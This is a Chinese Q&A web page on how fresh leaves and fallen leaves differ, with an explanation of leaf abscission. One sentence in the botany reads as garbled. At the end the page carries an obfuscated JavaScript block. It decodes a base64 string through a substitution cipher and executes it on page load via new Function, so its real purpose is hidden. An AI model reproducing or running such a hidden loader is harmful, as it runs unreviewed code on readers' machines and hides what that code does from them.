新鲜的叶子和落叶,它们有什么相同和不同之处?

2025-03-15 06:10:16
推荐回答(1个)
回答1:

相同:形态上变化不大。

不同:一般情况下新鲜的叶生命活动旺盛,落叶是衰老的叶。从宏观上看颜色不同,新鲜的叶因含有叶绿体而表现出绿色;落叶因叶绿体的消失而表现出黄色或红色。

【拓展】叶为什么会脱落?脱落后的叶痕为什么会那样的光滑呢?

  1. 原因在于产生离区---在叶柄基部或靠近叶柄基部的某些细胞(原为果胶酸钙,可溶性果胶和果胶酸)由于细胞的或生物化学的性质的变化而产生。

  2. 离区包括:离层,保护层:细胞分裂,产生一群小形薄壁细胞,为离层,细胞壁胶化,细胞成为游离的状态,由于支持力弱,加上叶的重力,风的摇 ,叶就从离层脱落。紧接着在离层下的几层细胞栓化,在断面处形成保护层,避免水的散失,病虫的侵入等。

  3. 落叶的意义:是植物减少蒸腾,保持体内水分,度过寒冷和 干旱季节的一种适应,这一习性是植物在长期进化过程中形成的。

  4. 落叶产生的机理:对不良环境的适应,落叶能减少蒸腾,使植物渡过寒冷和干旱季节,这一习性是植物在长期进化过程中形成的,短日照加速离层的形成,脱落酸和乙烯增加,可加速叶的脱落。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();